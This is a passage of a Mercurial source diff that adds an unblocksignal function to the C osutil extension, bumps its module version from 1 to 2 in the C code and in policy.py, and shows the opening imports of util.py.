1042 #endif
1043 #endif
1043 #ifdef SYSFS_MAGIC
1044 #ifdef SYSFS_MAGIC
1044 if (pbuf->f_type == SYSFS_MAGIC)
1045 if (pbuf->f_type == SYSFS_MAGIC)
1045 return "sysfs";
1046 return "sysfs";
1046 #endif
1047 #endif
1047 #ifdef SYSV2_SUPER_MAGIC
1048 #ifdef SYSV2_SUPER_MAGIC
1048 if (pbuf->f_type == SYSV2_SUPER_MAGIC)
1049 if (pbuf->f_type == SYSV2_SUPER_MAGIC)
1049 return "sysv2";
1050 return "sysv2";
1050 #endif
1051 #endif
1051 #ifdef SYSV4_SUPER_MAGIC
1052 #ifdef SYSV4_SUPER_MAGIC
1052 if (pbuf->f_type == SYSV4_SUPER_MAGIC)
1053 if (pbuf->f_type == SYSV4_SUPER_MAGIC)
1053 return "sysv4";
1054 return "sysv4";
1054 #endif
1055 #endif
1055 #ifdef TMPFS_MAGIC
1056 #ifdef TMPFS_MAGIC
1056 if (pbuf->f_type == TMPFS_MAGIC)
1057 if (pbuf->f_type == TMPFS_MAGIC)
1057 return "tmpfs";
1058 return "tmpfs";
1058 #endif
1059 #endif
1059 #ifdef UDF_SUPER_MAGIC
1060 #ifdef UDF_SUPER_MAGIC
1060 if (pbuf->f_type == UDF_SUPER_MAGIC)
1061 if (pbuf->f_type == UDF_SUPER_MAGIC)
1061 return "udf";
1062 return "udf";
1062 #endif
1063 #endif
1063 #ifdef UFS_MAGIC
1064 #ifdef UFS_MAGIC
1064 if (pbuf->f_type == UFS_MAGIC)
1065 if (pbuf->f_type == UFS_MAGIC)
1065 return "ufs";
1066 return "ufs";
1066 #endif
1067 #endif
1067 #ifdef USBDEVICE_SUPER_MAGIC
1068 #ifdef USBDEVICE_SUPER_MAGIC
1068 if (pbuf->f_type == USBDEVICE_SUPER_MAGIC)
1069 if (pbuf->f_type == USBDEVICE_SUPER_MAGIC)
1069 return "usbdevice";
1070 return "usbdevice";
1070 #endif
1071 #endif
1071 #ifdef V9FS_MAGIC
1072 #ifdef V9FS_MAGIC
1072 if (pbuf->f_type == V9FS_MAGIC)
1073 if (pbuf->f_type == V9FS_MAGIC)
1073 return "v9fs";
1074 return "v9fs";
1074 #endif
1075 #endif
1075 #ifdef VXFS_SUPER_MAGIC
1076 #ifdef VXFS_SUPER_MAGIC
1076 if (pbuf->f_type == VXFS_SUPER_MAGIC)
1077 if (pbuf->f_type == VXFS_SUPER_MAGIC)
1077 return "vxfs";
1078 return "vxfs";
1078 #endif
1079 #endif
1079 #ifdef XENFS_SUPER_MAGIC
1080 #ifdef XENFS_SUPER_MAGIC
1080 if (pbuf->f_type == XENFS_SUPER_MAGIC)
1081 if (pbuf->f_type == XENFS_SUPER_MAGIC)
1081 return "xenfs";
1082 return "xenfs";
1082 #endif
1083 #endif
1083 #ifdef XENIX_SUPER_MAGIC
1084 #ifdef XENIX_SUPER_MAGIC
1084 if (pbuf->f_type == XENIX_SUPER_MAGIC)
1085 if (pbuf->f_type == XENIX_SUPER_MAGIC)
1085 return "xenix";
1086 return "xenix";
1086 #endif
1087 #endif
1087 #ifdef XFS_SUPER_MAGIC
1088 #ifdef XFS_SUPER_MAGIC
1088 if (pbuf->f_type == XFS_SUPER_MAGIC)
1089 if (pbuf->f_type == XFS_SUPER_MAGIC)
1089 return "xfs";
1090 return "xfs";
1090 #endif
1091 #endif
1091 /* End of Linux filesystems */
1092 /* End of Linux filesystems */
1092 return NULL;
1093 return NULL;
1093 }
1094 }
1094 #endif /* def HAVE_LINUX_STATFS */
1095 #endif /* def HAVE_LINUX_STATFS */
1095
1096
1096 #if defined(HAVE_BSD_STATFS) || defined(HAVE_LINUX_STATFS)
1097 #if defined(HAVE_BSD_STATFS) || defined(HAVE_LINUX_STATFS)
1097 /* given a directory path, return filesystem type name (best-effort) */
1098 /* given a directory path, return filesystem type name (best-effort) */
1098 static PyObject *getfstype(PyObject *self, PyObject *args)
1099 static PyObject *getfstype(PyObject *self, PyObject *args)
1099 {
1100 {
1100 const char *path = NULL;
1101 const char *path = NULL;
1101 struct statfs buf;
1102 struct statfs buf;
1102 int r;
1103 int r;
1103 if (!PyArg_ParseTuple(args, "s", &path))
1104 if (!PyArg_ParseTuple(args, "s", &path))
1104 return NULL;
1105 return NULL;
1105
1106
1106 memset(&buf, 0, sizeof(buf));
1107 memset(&buf, 0, sizeof(buf));
1107 r = statfs(path, &buf);
1108 r = statfs(path, &buf);
1108 if (r != 0)
1109 if (r != 0)
1109 return PyErr_SetFromErrno(PyExc_OSError);
1110 return PyErr_SetFromErrno(PyExc_OSError);
1110 return Py_BuildValue("s", describefstype(&buf));
1111 return Py_BuildValue("s", describefstype(&buf));
1111 }
1112 }
1112 #endif /* defined(HAVE_LINUX_STATFS) || defined(HAVE_BSD_STATFS) */
1113 #endif /* defined(HAVE_LINUX_STATFS) || defined(HAVE_BSD_STATFS) */
1113
1114
1115 static PyObject *unblocksignal(PyObject *self, PyObject *args)
1116 {
1117 int sig = 0;
1118 int r;
1119 if (!PyArg_ParseTuple(args, "i", &sig))
1120 return NULL;
1121 sigset_t set;
1122 r = sigemptyset(&set);
1123 if (r != 0)
1124 return PyErr_SetFromErrno(PyExc_OSError);
1125 r = sigaddset(&set, sig);
1126 if (r != 0)
1127 return PyErr_SetFromErrno(PyExc_OSError);
1128 r = sigprocmask(SIG_UNBLOCK, &set, NULL);
1129 if (r != 0)
1130 return PyErr_SetFromErrno(PyExc_OSError);
1131 Py_RETURN_NONE;
1132 }
1133
1114 #endif /* ndef _WIN32 */
1134 #endif /* ndef _WIN32 */
1115
1135
1116 static PyObject *listdir(PyObject *self, PyObject *args, PyObject *kwargs)
1136 static PyObject *listdir(PyObject *self, PyObject *args, PyObject *kwargs)
1117 {
1137 {
1118 PyObject *statobj = NULL; /* initialize - optional arg */
1138 PyObject *statobj = NULL; /* initialize - optional arg */
1119 PyObject *skipobj = NULL; /* initialize - optional arg */
1139 PyObject *skipobj = NULL; /* initialize - optional arg */
1120 char *path, *skip = NULL;
1140 char *path, *skip = NULL;
1121 int wantstat, plen;
1141 int wantstat, plen;
1122
1142
1123 static char *kwlist[] = {"path", "stat", "skip", NULL};
1143 static char *kwlist[] = {"path", "stat", "skip", NULL};
1124
1144
1125 if (!PyArg_ParseTupleAndKeywords(args, kwargs, "s#|OO:listdir",
1145 if (!PyArg_ParseTupleAndKeywords(args, kwargs, "s#|OO:listdir",
1126 kwlist, &path, &plen, &statobj, &skipobj))
1146 kwlist, &path, &plen, &statobj, &skipobj))
1127 return NULL;
1147 return NULL;
1128
1148
1129 wantstat = statobj && PyObject_IsTrue(statobj);
1149 wantstat = statobj && PyObject_IsTrue(statobj);
1130
1150
1131 if (skipobj && skipobj != Py_None) {
1151 if (skipobj && skipobj != Py_None) {
1132 skip = PyBytes_AsString(skipobj);
1152 skip = PyBytes_AsString(skipobj);
1133 if (!skip)
1153 if (!skip)
1134 return NULL;
1154 return NULL;
1135 }
1155 }
1136
1156
1137 return _listdir(path, plen, wantstat, skip);
1157 return _listdir(path, plen, wantstat, skip);
1138 }
1158 }
1139
1159
1140 #ifdef _WIN32
1160 #ifdef _WIN32
1141 static PyObject *posixfile(PyObject *self, PyObject *args, PyObject *kwds)
1161 static PyObject *posixfile(PyObject *self, PyObject *args, PyObject *kwds)
1142 {
1162 {
1143 static char *kwlist[] = {"name", "mode", "buffering", NULL};
1163 static char *kwlist[] = {"name", "mode", "buffering", NULL};
1144 PyObject *file_obj = NULL;
1164 PyObject *file_obj = NULL;
1145 char *name = NULL;
1165 char *name = NULL;
1146 char *mode = "rb";
1166 char *mode = "rb";
1147 DWORD access = 0;
1167 DWORD access = 0;
1148 DWORD creation;
1168 DWORD creation;
1149 HANDLE handle;
1169 HANDLE handle;
1150 int fd, flags = 0;
1170 int fd, flags = 0;
1151 int bufsize = -1;
1171 int bufsize = -1;
1152 char m0, m1, m2;
1172 char m0, m1, m2;
1153 char fpmode[4];
1173 char fpmode[4];
1154 int fppos = 0;
1174 int fppos = 0;
1155 int plus;
1175 int plus;
1156 FILE *fp;
1176 FILE *fp;
1157
1177
1158 if (!PyArg_ParseTupleAndKeywords(args, kwds, "et|si:posixfile", kwlist,
1178 if (!PyArg_ParseTupleAndKeywords(args, kwds, "et|si:posixfile", kwlist,
1159 Py_FileSystemDefaultEncoding,
1179 Py_FileSystemDefaultEncoding,
1160 &name, &mode, &bufsize))
1180 &name, &mode, &bufsize))
1161 return NULL;
1181 return NULL;
1162
1182
1163 m0 = mode[0];
1183 m0 = mode[0];
1164 m1 = m0 ? mode[1] : '\0';
1184 m1 = m0 ? mode[1] : '\0';
1165 m2 = m1 ? mode[2] : '\0';
1185 m2 = m1 ? mode[2] : '\0';
1166 plus = m1 == '+' || m2 == '+';
1186 plus = m1 == '+' || m2 == '+';
1167
1187
1168 fpmode[fppos++] = m0;
1188 fpmode[fppos++] = m0;
1169 if (m1 == 'b' || m2 == 'b') {
1189 if (m1 == 'b' || m2 == 'b') {
1170 flags = _O_BINARY;
1190 flags = _O_BINARY;
1171 fpmode[fppos++] = 'b';
1191 fpmode[fppos++] = 'b';
1172 }
1192 }
1173 else
1193 else
1174 flags = _O_TEXT;
1194 flags = _O_TEXT;
1175 if (m0 == 'r' && !plus) {
1195 if (m0 == 'r' && !plus) {
1176 flags |= _O_RDONLY;
1196 flags |= _O_RDONLY;
1177 access = GENERIC_READ;
1197 access = GENERIC_READ;
1178 } else {
1198 } else {
1179 /*
1199 /*
1180 work around http://support.microsoft.com/kb/899149 and
1200 work around http://support.microsoft.com/kb/899149 and
1181 set _O_RDWR for 'w' and 'a', even if mode has no '+'
1201 set _O_RDWR for 'w' and 'a', even if mode has no '+'
1182 */
1202 */
1183 flags |= _O_RDWR;
1203 flags |= _O_RDWR;
1184 access = GENERIC_READ | GENERIC_WRITE;
1204 access = GENERIC_READ | GENERIC_WRITE;
1185 fpmode[fppos++] = '+';
1205 fpmode[fppos++] = '+';
1186 }
1206 }
1187 fpmode[fppos++] = '\0';
1207 fpmode[fppos++] = '\0';
1188
1208
1189 switch (m0) {
1209 switch (m0) {
1190 case 'r':
1210 case 'r':
1191 creation = OPEN_EXISTING;
1211 creation = OPEN_EXISTING;
1192 break;
1212 break;
1193 case 'w':
1213 case 'w':
1194 creation = CREATE_ALWAYS;
1214 creation = CREATE_ALWAYS;
1195 break;
1215 break;
1196 case 'a':
1216 case 'a':
1197 creation = OPEN_ALWAYS;
1217 creation = OPEN_ALWAYS;
1198 flags |= _O_APPEND;
1218 flags |= _O_APPEND;
1199 break;
1219 break;
1200 default:
1220 default:
1201 PyErr_Format(PyExc_ValueError,
1221 PyErr_Format(PyExc_ValueError,
1202 "mode string must begin with one of 'r', 'w', "
1222 "mode string must begin with one of 'r', 'w', "
1203 "or 'a', not '%c'", m0);
1223 "or 'a', not '%c'", m0);
1204 goto bail;
1224 goto bail;
1205 }
1225 }
1206
1226
1207 handle = CreateFile(name, access,
1227 handle = CreateFile(name, access,
1208 FILE_SHARE_READ | FILE_SHARE_WRITE |
1228 FILE_SHARE_READ | FILE_SHARE_WRITE |
1209 FILE_SHARE_DELETE,
1229 FILE_SHARE_DELETE,
1210 NULL,
1230 NULL,
1211 creation,
1231 creation,
1212 FILE_ATTRIBUTE_NORMAL,
1232 FILE_ATTRIBUTE_NORMAL,
1213 0);
1233 0);
1214
1234
1215 if (handle == INVALID_HANDLE_VALUE) {
1235 if (handle == INVALID_HANDLE_VALUE) {
1216 PyErr_SetFromWindowsErrWithFilename(GetLastError(), name);
1236 PyErr_SetFromWindowsErrWithFilename(GetLastError(), name);
1217 goto bail;
1237 goto bail;
1218 }
1238 }
1219
1239
1220 fd = _open_osfhandle((intptr_t)handle, flags);
1240 fd = _open_osfhandle((intptr_t)handle, flags);
1221
1241
1222 if (fd == -1) {
1242 if (fd == -1) {
1223 CloseHandle(handle);
1243 CloseHandle(handle);
1224 PyErr_SetFromErrnoWithFilename(PyExc_IOError, name);
1244 PyErr_SetFromErrnoWithFilename(PyExc_IOError, name);
1225 goto bail;
1245 goto bail;
1226 }
1246 }
1227 #ifndef IS_PY3K
1247 #ifndef IS_PY3K
1228 fp = _fdopen(fd, fpmode);
1248 fp = _fdopen(fd, fpmode);
1229 if (fp == NULL) {
1249 if (fp == NULL) {
1230 _close(fd);
1250 _close(fd);
1231 PyErr_SetFromErrnoWithFilename(PyExc_IOError, name);
1251 PyErr_SetFromErrnoWithFilename(PyExc_IOError, name);
1232 goto bail;
1252 goto bail;
1233 }
1253 }
1234
1254
1235 file_obj = PyFile_FromFile(fp, name, mode, fclose);
1255 file_obj = PyFile_FromFile(fp, name, mode, fclose);
1236 if (file_obj == NULL) {
1256 if (file_obj == NULL) {
1237 fclose(fp);
1257 fclose(fp);
1238 goto bail;
1258 goto bail;
1239 }
1259 }
1240
1260
1241 PyFile_SetBufSize(file_obj, bufsize);
1261 PyFile_SetBufSize(file_obj, bufsize);
1242 #else
1262 #else
1243 file_obj = PyFile_FromFd(fd, name, mode, bufsize, NULL, NULL, NULL, 1);
1263 file_obj = PyFile_FromFd(fd, name, mode, bufsize, NULL, NULL, NULL, 1);
1244 if (file_obj == NULL)
1264 if (file_obj == NULL)
1245 goto bail;
1265 goto bail;
1246 #endif
1266 #endif
1247 bail:
1267 bail:
1248 PyMem_Free(name);
1268 PyMem_Free(name);
1249 return file_obj;
1269 return file_obj;
1250 }
1270 }
1251 #endif
1271 #endif
1252
1272
1253 #ifdef __APPLE__
1273 #ifdef __APPLE__
1254 #include <ApplicationServices/ApplicationServices.h>
1274 #include <ApplicationServices/ApplicationServices.h>
1255
1275
1256 static PyObject *isgui(PyObject *self)
1276 static PyObject *isgui(PyObject *self)
1257 {
1277 {
1258 CFDictionaryRef dict = CGSessionCopyCurrentDictionary();
1278 CFDictionaryRef dict = CGSessionCopyCurrentDictionary();
1259
1279
1260 if (dict != NULL) {
1280 if (dict != NULL) {
1261 CFRelease(dict);
1281 CFRelease(dict);
1262 Py_RETURN_TRUE;
1282 Py_RETURN_TRUE;
1263 } else {
1283 } else {
1264 Py_RETURN_FALSE;
1284 Py_RETURN_FALSE;
1265 }
1285 }
1266 }
1286 }
1267 #endif
1287 #endif
1268
1288
1269 static char osutil_doc[] = "Native operating system services.";
1289 static char osutil_doc[] = "Native operating system services.";
1270
1290
1271 static PyMethodDef methods[] = {
1291 static PyMethodDef methods[] = {
1272 {"listdir", (PyCFunction)listdir, METH_VARARGS | METH_KEYWORDS,
1292 {"listdir", (PyCFunction)listdir, METH_VARARGS | METH_KEYWORDS,
1273 "list a directory\n"},
1293 "list a directory\n"},
1274 #ifdef _WIN32
1294 #ifdef _WIN32
1275 {"posixfile", (PyCFunction)posixfile, METH_VARARGS | METH_KEYWORDS,
1295 {"posixfile", (PyCFunction)posixfile, METH_VARARGS | METH_KEYWORDS,
1276 "Open a file with POSIX-like semantics.\n"
1296 "Open a file with POSIX-like semantics.\n"
1277 "On error, this function may raise either a WindowsError or an IOError."},
1297 "On error, this function may raise either a WindowsError or an IOError."},
1278 #else
1298 #else
1279 {"statfiles", (PyCFunction)statfiles, METH_VARARGS | METH_KEYWORDS,
1299 {"statfiles", (PyCFunction)statfiles, METH_VARARGS | METH_KEYWORDS,
1280 "stat a series of files or symlinks\n"
1300 "stat a series of files or symlinks\n"
1281 "Returns None for non-existent entries and entries of other types.\n"},
1301 "Returns None for non-existent entries and entries of other types.\n"},
1282 #ifdef CMSG_LEN
1302 #ifdef CMSG_LEN
1283 {"recvfds", (PyCFunction)recvfds, METH_VARARGS,
1303 {"recvfds", (PyCFunction)recvfds, METH_VARARGS,
1284 "receive list of file descriptors via socket\n"},
1304 "receive list of file descriptors via socket\n"},
1285 #endif
1305 #endif
1286 #ifndef SETPROCNAME_USE_NONE
1306 #ifndef SETPROCNAME_USE_NONE
1287 {"setprocname", (PyCFunction)setprocname, METH_VARARGS,
1307 {"setprocname", (PyCFunction)setprocname, METH_VARARGS,
1288 "set process title (best-effort)\n"},
1308 "set process title (best-effort)\n"},
1289 #endif
1309 #endif
1290 #if defined(HAVE_BSD_STATFS) || defined(HAVE_LINUX_STATFS)
1310 #if defined(HAVE_BSD_STATFS) || defined(HAVE_LINUX_STATFS)
1291 {"getfstype", (PyCFunction)getfstype, METH_VARARGS,
1311 {"getfstype", (PyCFunction)getfstype, METH_VARARGS,
1292 "get filesystem type (best-effort)\n"},
1312 "get filesystem type (best-effort)\n"},
1293 #endif
1313 #endif
1314 {"unblocksignal", (PyCFunction)unblocksignal, METH_VARARGS,
1315 "change signal mask to unblock a given signal\n"},
1294 #endif /* ndef _WIN32 */
1316 #endif /* ndef _WIN32 */
1295 #ifdef __APPLE__
1317 #ifdef __APPLE__
1296 {
1318 {
1297 "isgui", (PyCFunction)isgui, METH_NOARGS,
1319 "isgui", (PyCFunction)isgui, METH_NOARGS,
1298 "Is a CoreGraphics session available?"
1320 "Is a CoreGraphics session available?"
1299 },
1321 },
1300 #endif
1322 #endif
1301 {NULL, NULL}
1323 {NULL, NULL}
1302 };
1324 };
1303
1325
1304 static const int version = 1;
1326 static const int version = 2;
1305
1327
1306 #ifdef IS_PY3K
1328 #ifdef IS_PY3K
1307 static struct PyModuleDef osutil_module = {
1329 static struct PyModuleDef osutil_module = {
1308 PyModuleDef_HEAD_INIT,
1330 PyModuleDef_HEAD_INIT,
1309 "osutil",
1331 "osutil",
1310 osutil_doc,
1332 osutil_doc,
1311 -1,
1333 -1,
1312 methods
1334 methods
1313 };
1335 };
1314
1336
1315 PyMODINIT_FUNC PyInit_osutil(void)
1337 PyMODINIT_FUNC PyInit_osutil(void)
1316 {
1338 {
1317 PyObject *m;
1339 PyObject *m;
1318 if (PyType_Ready(&listdir_stat_type) < 0)
1340 if (PyType_Ready(&listdir_stat_type) < 0)
1319 return NULL;
1341 return NULL;
1320
1342
1321 m = PyModule_Create(&osutil_module);
1343 m = PyModule_Create(&osutil_module);
1322 PyModule_AddIntConstant(m, "version", version);
1344 PyModule_AddIntConstant(m, "version", version);
1323 return m;
1345 return m;
1324 }
1346 }
1325 #else
1347 #else
1326 PyMODINIT_FUNC initosutil(void)
1348 PyMODINIT_FUNC initosutil(void)
1327 {
1349 {
1328 PyObject *m;
1350 PyObject *m;
1329 if (PyType_Ready(&listdir_stat_type) == -1)
1351 if (PyType_Ready(&listdir_stat_type) == -1)
1330 return;
1352 return;
1331
1353
1332 m = Py_InitModule3("osutil", methods, osutil_doc);
1354 m = Py_InitModule3("osutil", methods, osutil_doc);
1333 PyModule_AddIntConstant(m, "version", version);
1355 PyModule_AddIntConstant(m, "version", version);
1334 }
1356 }
1335 #endif
1357 #endif
@@ -1,116 +1,116 b''
1 # policy.py - module policy logic for Mercurial.
1 # policy.py - module policy logic for Mercurial.
2 #
2 #
3 # Copyright 2015 Gregory Szorc <gregory.szorc@gmail.com>
3 # Copyright 2015 Gregory Szorc <gregory.szorc@gmail.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import os
10 import os
11 import sys
11 import sys
12
12
13 # Rules for how modules can be loaded. Values are:
13 # Rules for how modules can be loaded. Values are:
14 #
14 #
15 # c - require C extensions
15 # c - require C extensions
16 # allow - allow pure Python implementation when C loading fails
16 # allow - allow pure Python implementation when C loading fails
17 # cffi - required cffi versions (implemented within pure module)
17 # cffi - required cffi versions (implemented within pure module)
18 # cffi-allow - allow pure Python implementation if cffi version is missing
18 # cffi-allow - allow pure Python implementation if cffi version is missing
19 # py - only load pure Python modules
19 # py - only load pure Python modules
20 #
20 #
21 # By default, fall back to the pure modules so the in-place build can
21 # By default, fall back to the pure modules so the in-place build can
22 # run without recompiling the C extensions. This will be overridden by
22 # run without recompiling the C extensions. This will be overridden by
23 # __modulepolicy__ generated by setup.py.
23 # __modulepolicy__ generated by setup.py.
24 policy = b'allow'
24 policy = b'allow'
25 _packageprefs = {
25 _packageprefs = {
26 # policy: (versioned package, pure package)
26 # policy: (versioned package, pure package)
27 b'c': (r'cext', None),
27 b'c': (r'cext', None),
28 b'allow': (r'cext', r'pure'),
28 b'allow': (r'cext', r'pure'),
29 b'cffi': (r'cffi', None),
29 b'cffi': (r'cffi', None),
30 b'cffi-allow': (r'cffi', r'pure'),
30 b'cffi-allow': (r'cffi', r'pure'),
31 b'py': (None, r'pure'),
31 b'py': (None, r'pure'),
32 }
32 }
33
33
34 try:
34 try:
35 from . import __modulepolicy__
35 from . import __modulepolicy__
36 policy = __modulepolicy__.modulepolicy
36 policy = __modulepolicy__.modulepolicy
37 except ImportError:
37 except ImportError:
38 pass
38 pass
39
39
40 # PyPy doesn't load C extensions.
40 # PyPy doesn't load C extensions.
41 #
41 #
42 # The canonical way to do this is to test platform.python_implementation().
42 # The canonical way to do this is to test platform.python_implementation().
43 # But we don't import platform and don't bloat for it here.
43 # But we don't import platform and don't bloat for it here.
44 if r'__pypy__' in sys.builtin_module_names:
44 if r'__pypy__' in sys.builtin_module_names:
45 policy = b'cffi'
45 policy = b'cffi'
46
46
47 # Our C extensions aren't yet compatible with Python 3. So use pure Python
47 # Our C extensions aren't yet compatible with Python 3. So use pure Python
48 # on Python 3 for now.
48 # on Python 3 for now.
49 if sys.version_info[0] >= 3:
49 if sys.version_info[0] >= 3:
50 policy = b'py'
50 policy = b'py'
51
51
52 # Environment variable can always force settings.
52 # Environment variable can always force settings.
53 if sys.version_info[0] >= 3:
53 if sys.version_info[0] >= 3:
54 if r'HGMODULEPOLICY' in os.environ:
54 if r'HGMODULEPOLICY' in os.environ:
55 policy = os.environ[r'HGMODULEPOLICY'].encode(r'utf-8')
55 policy = os.environ[r'HGMODULEPOLICY'].encode(r'utf-8')
56 else:
56 else:
57 policy = os.environ.get(r'HGMODULEPOLICY', policy)
57 policy = os.environ.get(r'HGMODULEPOLICY', policy)
58
58
59 def _importfrom(pkgname, modname):
59 def _importfrom(pkgname, modname):
60 # from .<pkgname> import <modname> (where . is looked through this module)
60 # from .<pkgname> import <modname> (where . is looked through this module)
61 fakelocals = {}
61 fakelocals = {}
62 pkg = __import__(pkgname, globals(), fakelocals, [modname], level=1)
62 pkg = __import__(pkgname, globals(), fakelocals, [modname], level=1)
63 try:
63 try:
64 fakelocals[modname] = mod = getattr(pkg, modname)
64 fakelocals[modname] = mod = getattr(pkg, modname)
65 except AttributeError:
65 except AttributeError:
66 raise ImportError(r'cannot import name %s' % modname)
66 raise ImportError(r'cannot import name %s' % modname)
67 # force import; fakelocals[modname] may be replaced with the real module
67 # force import; fakelocals[modname] may be replaced with the real module
68 getattr(mod, r'__doc__', None)
68 getattr(mod, r'__doc__', None)
69 return fakelocals[modname]
69 return fakelocals[modname]
70
70
71 # keep in sync with "version" in C modules
71 # keep in sync with "version" in C modules
72 _cextversions = {
72 _cextversions = {
73 (r'cext', r'base85'): 1,
73 (r'cext', r'base85'): 1,
74 (r'cext', r'bdiff'): 1,
74 (r'cext', r'bdiff'): 1,
75 (r'cext', r'diffhelpers'): 1,
75 (r'cext', r'diffhelpers'): 1,
76 (r'cext', r'mpatch'): 1,
76 (r'cext', r'mpatch'): 1,
77 (r'cext', r'osutil'): 1,
77 (r'cext', r'osutil'): 2,
78 (r'cext', r'parsers'): 4,
78 (r'cext', r'parsers'): 4,
79 }
79 }
80
80
81 # map import request to other package or module
81 # map import request to other package or module
82 _modredirects = {
82 _modredirects = {
83 (r'cext', r'charencode'): (r'cext', r'parsers'),
83 (r'cext', r'charencode'): (r'cext', r'parsers'),
84 (r'cffi', r'base85'): (r'pure', r'base85'),
84 (r'cffi', r'base85'): (r'pure', r'base85'),
85 (r'cffi', r'charencode'): (r'pure', r'charencode'),
85 (r'cffi', r'charencode'): (r'pure', r'charencode'),
86 (r'cffi', r'diffhelpers'): (r'pure', r'diffhelpers'),
86 (r'cffi', r'diffhelpers'): (r'pure', r'diffhelpers'),
87 (r'cffi', r'parsers'): (r'pure', r'parsers'),
87 (r'cffi', r'parsers'): (r'pure', r'parsers'),
88 }
88 }
89
89
90 def _checkmod(pkgname, modname, mod):
90 def _checkmod(pkgname, modname, mod):
91 expected = _cextversions.get((pkgname, modname))
91 expected = _cextversions.get((pkgname, modname))
92 actual = getattr(mod, r'version', None)
92 actual = getattr(mod, r'version', None)
93 if actual != expected:
93 if actual != expected:
94 raise ImportError(r'cannot import module %s.%s '
94 raise ImportError(r'cannot import module %s.%s '
95 r'(expected version: %d, actual: %r)'
95 r'(expected version: %d, actual: %r)'
96 % (pkgname, modname, expected, actual))
96 % (pkgname, modname, expected, actual))
97
97
98 def importmod(modname):
98 def importmod(modname):
99 """Import module according to policy and check API version"""
99 """Import module according to policy and check API version"""
100 try:
100 try:
101 verpkg, purepkg = _packageprefs[policy]
101 verpkg, purepkg = _packageprefs[policy]
102 except KeyError:
102 except KeyError:
103 raise ImportError(r'invalid HGMODULEPOLICY %r' % policy)
103 raise ImportError(r'invalid HGMODULEPOLICY %r' % policy)
104 assert verpkg or purepkg
104 assert verpkg or purepkg
105 if verpkg:
105 if verpkg:
106 pn, mn = _modredirects.get((verpkg, modname), (verpkg, modname))
106 pn, mn = _modredirects.get((verpkg, modname), (verpkg, modname))
107 try:
107 try:
108 mod = _importfrom(pn, mn)
108 mod = _importfrom(pn, mn)
109 if pn == verpkg:
109 if pn == verpkg:
110 _checkmod(pn, mn, mod)
110 _checkmod(pn, mn, mod)
111 return mod
111 return mod
112 except ImportError:
112 except ImportError:
113 if not purepkg:
113 if not purepkg:
114 raise
114 raise
115 pn, mn = _modredirects.get((purepkg, modname), (purepkg, modname))
115 pn, mn = _modredirects.get((purepkg, modname), (purepkg, modname))
116 return _importfrom(pn, mn)
116 return _importfrom(pn, mn)
@@ -1,3866 +1,3870 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import calendar
20 import calendar
21 import codecs
21 import codecs
22 import collections
22 import collections
23 import contextlib
23 import contextlib
24 import datetime
24 import datetime
25 import errno
25 import errno
26 import gc
26 import gc
27 import hashlib
27 import hashlib
28 import imp
28 import imp
29 import itertools
29 import itertools
30 import mmap
30 import mmap
31 import os
31 import os
32 import platform as pyplatform
32 import platform as pyplatform
33 import re as remod
33 import re as remod
34 import shutil
34 import shutil
35 import signal
35 import signal
36 import socket
36 import socket
37 import stat
37 import stat
38 import string
38 import string
39 import subprocess
39 import subprocess
40 import sys
40 import sys
41 import tempfile
41 import tempfile
42 import textwrap
42 import textwrap
43 import time
43 import time
44 import traceback
44 import traceback
45 import warnings
45 import warnings
46 import zlib
46 import zlib
47
47
48 from . import (
48 from . import (
49 encoding,
49 encoding,
50 error,
50 error,
51 i18n,
51 i18n,
52 policy,
52 policy,
53 pycompat,
53 pycompat,
54 urllibcompat,
54 urllibcompat,
55 )
55 )
56
56
57 base85 = policy.importmod(r'base85')
57 base85 = policy.importmod(r'base85')
58 osutil = policy.importmod(r'osutil')
58 osutil = policy.importmod(r'osutil')
59 parsers = policy.importmod(r'parsers')
59 parsers = policy.importmod(r'parsers')
60
60
61 b85decode = base85.b85decode
61 b85decode = base85.b85decode
62 b85encode = base85.b85encode
62 b85encode = base85.b85encode
63
63
64 cookielib = pycompat.cookielib
64 cookielib = pycompat.cookielib
65 empty = pycompat.empty
65 empty = pycompat.empty
66 httplib = pycompat.httplib
66 httplib = pycompat.httplib
67 pickle = pycompat.pickle
67 pickle = pycompat.pickle
68 queue = pycompat.queue
68 queue = pycompat.queue
69 socketserver = pycompat.socketserver
69 socketserver = pycompat.socketserver
70 stderr = pycompat.stderr
70 stderr = pycompat.stderr
71 stdin = pycompat.stdin
71 stdin = pycompat.stdin
72 stdout = pycompat.stdout
72 stdout = pycompat.stdout
73 stringio = pycompat.stringio
73 stringio = pycompat.stringio
74 xmlrpclib = pycompat.xmlrpclib
74 xmlrpclib = pycompat.xmlrpclib
75
75
76 httpserver = urllibcompat.httpserver
76 httpserver = urllibcompat.httpserver
77 urlerr = urllibcompat.urlerr
77 urlerr = urllibcompat.urlerr
78 urlreq = urllibcompat.urlreq
78 urlreq = urllibcompat.urlreq
79
79
80 # workaround for win32mbcs
80 # workaround for win32mbcs
81 _filenamebytestr = pycompat.bytestr
81 _filenamebytestr = pycompat.bytestr
82
82
83 def isatty(fp):
83 def isatty(fp):
84 try:
84 try:
85 return fp.isatty()
85 return fp.isatty()
86 except AttributeError:
86 except AttributeError:
87 return False
87 return False
88
88
89 # glibc determines buffering on first write to stdout - if we replace a TTY
89 # glibc determines buffering on first write to stdout - if we replace a TTY
90 # destined stdout with a pipe destined stdout (e.g. pager), we want line
